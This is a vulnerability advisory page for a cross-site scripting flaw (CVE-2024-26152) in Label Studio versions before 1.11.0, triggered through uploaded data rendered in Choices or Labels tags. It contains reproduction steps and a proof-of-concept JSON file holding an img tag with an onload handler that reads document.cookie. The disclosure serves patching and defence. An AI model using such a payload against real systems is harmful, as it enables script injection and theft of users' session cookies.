Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS02eHY5LTk1N2otcWZoZ84AA5dt

Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config

Summary

On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a Choices or Labels tag, resulting in an XSS vulnerability.

Details

Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.

PoC

1. Create a project.
   

2. Upload a file containing the payload using the "Upload Files" function.
   
   

The following are the contents of the files used in the PoC

{
  "data": {
    "prompt": "labelstudio universe image",
    "images": [
      {
        "value": "id123#0",
        "style": "margin: 5px",
        "html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
      }
    ]
  }
}

3. Select the text-to-image generation labeling template of Ranking and scoring
   
   

4. Select a task
   

5. Check that the script is running
   

Impact

Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.

Permalink: https://github.com/advisories/GHSA-6xv9-957j-qfhg
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eHY5LTk1N2otcWZoZ84AA5dt
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 2 months ago
Updated: 2 months ago

CVSS Score: 4.7
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Identifiers: GHSA-6xv9-957j-qfhg, CVE-2024-26152
References:

• https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6xv9-957j-qfhg
• https://github.com/HumanSignal/label-studio/pull/5232
• https://github.com/HumanSignal/label-studio/commit/5df9ae3828b98652e9fa290a19f4deedf51ef6c8
• https://github.com/HumanSignal/label-studio/releases/tag/1.11.0
• https://nvd.nist.gov/vuln/detail/CVE-2024-26152
• https://github.com/advisories/GHSA-6xv9-957j-qfhg

Repository: https://github.com/HumanSignal/label-studio
Blast Radius: 7.5

Affected Packages